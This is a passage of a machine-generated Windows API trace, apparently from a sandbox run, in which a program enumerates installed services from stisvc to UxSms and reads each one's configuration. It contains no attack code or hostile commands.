lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x1e2c140, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stisvc", lpUsedDefaultChar=0x0) returned 6 [0032.658] OpenServiceW (hSCManager=0x2d3600, lpServiceName="stisvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.658] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.658] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.658] GetLastError () returned 0x7a [0032.658] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c188, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x1e2c188, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="storsvc", lpUsedDefaultChar=0x0) returned 7 [0032.659] OpenServiceW (hSCManager=0x2d3600, lpServiceName="StorSvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.659] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.660] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.660] GetLastError () returned 0x7a [0032.660] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c1d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x1e2c1d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swprv", lpUsedDefaultChar=0x0) returned 5 [0032.660] OpenServiceW (hSCManager=0x2d3600, lpServiceName="swprv", dwDesiredAccess=0x1) returned 0x2d3790 [0032.660] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.660] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.661] GetLastError () returned 0x7a [0032.661] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c218, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x1e2c218, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysmain", lpUsedDefaultChar=0x0) returned 7 [0032.661] OpenServiceW (hSCManager=0x2d3600, lpServiceName="SysMain", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.661] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.661] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.661] GetLastError () returned 0x7a [0032.661] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x1e2c260, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletinputservice", lpUsedDefaultChar=0x0) returned 18 [0032.662] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TabletInputService", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.662] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.662] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.662] GetLastError () returned 0x7a [0032.662] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c2a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x1e2c2a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tapisrv", lpUsedDefaultChar=0x0) returned 7 [0032.663] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TapiSrv", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.663] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.663] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.663] GetLastError () returned 0x7a [0032.663] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x136, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c2f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x1e2c2f0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tbs", lpUsedDefaultChar=0x0) returned 3 [0032.663] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TBS", dwDesiredAccess=0x1) returned 0x2d3790 [0032.664] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.664] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.664] GetLastError () returned 0x7a [0032.664] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x1e2c338, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservice", lpUsedDefaultChar=0x0) returned 11 [0032.664] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TermService", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.664] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.664] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.665] GetLastError () returned 0x7a [0032.665] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c380, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x1e2c380, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themes", lpUsedDefaultChar=0x0) returned 6 [0032.665] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Themes", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.665] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.665] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.665] GetLastError () returned 0x7a [0032.665] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x100, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c3c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x1e2c3c8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="threadorder", lpUsedDefaultChar=0x0) returned 11 [0032.666] OpenServiceW (hSCManager=0x2d3600, lpServiceName="THREADORDER", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.666] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.666] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.666] GetLastError () returned 0x7a [0032.666] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c410, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x1e2c410, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trkwks", lpUsedDefaultChar=0x0) returned 6 [0032.667] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TrkWks", dwDesiredAccess=0x1) returned 0x2d3790 [0032.667] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.667] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.667] GetLastError () returned 0x7a [0032.667] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c458, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x1e2c458, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller", lpUsedDefaultChar=0x0) returned 16 [0032.667] OpenServiceW (hSCManager=0x2d3600, lpServiceName="TrustedInstaller", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.668] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.668] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.668] GetLastError () returned 0x7a [0032.668] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x1e2c4a0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller.exe", lpUsedDefaultChar=0x0) returned 20 [0032.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x1e2c4a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect", lpUsedDefaultChar=0x0) returned 9 [0032.668] OpenServiceW (hSCManager=0x2d3600, lpServiceName="UI0Detect", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.668] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.669] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.669] GetLastError () returned 0x7a [0032.669] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0032.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x1e2c4e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect.exe", lpUsedDefaultChar=0x0) returned 13 [0032.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x1e2c4e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="umrdpservice", lpUsedDefaultChar=0x0) returned 12 [0032.669] OpenServiceW (hSCManager=0x2d3600, lpServiceName="UmRdpService", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.669] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.669] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.670] GetLastError () returned 0x7a [0032.670] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c530, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x1e2c530, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnphost", lpUsedDefaultChar=0x0) returned 8 [0032.670] OpenServiceW (hSCManager=0x2d3600, lpServiceName="upnphost", dwDesiredAccess=0x1) returned 0x2d3790 [0032.670] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.670] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.670] GetLastError () returned 0x7a [0032.670] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e2c578, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x1e2c578, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uxsms", lpUsedDefaultChar=0x0) returned 5 [0032.671] OpenServiceW (hSCManager=0x2d3600, lpServiceName="UxSms", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.671] CloseServiceHandle 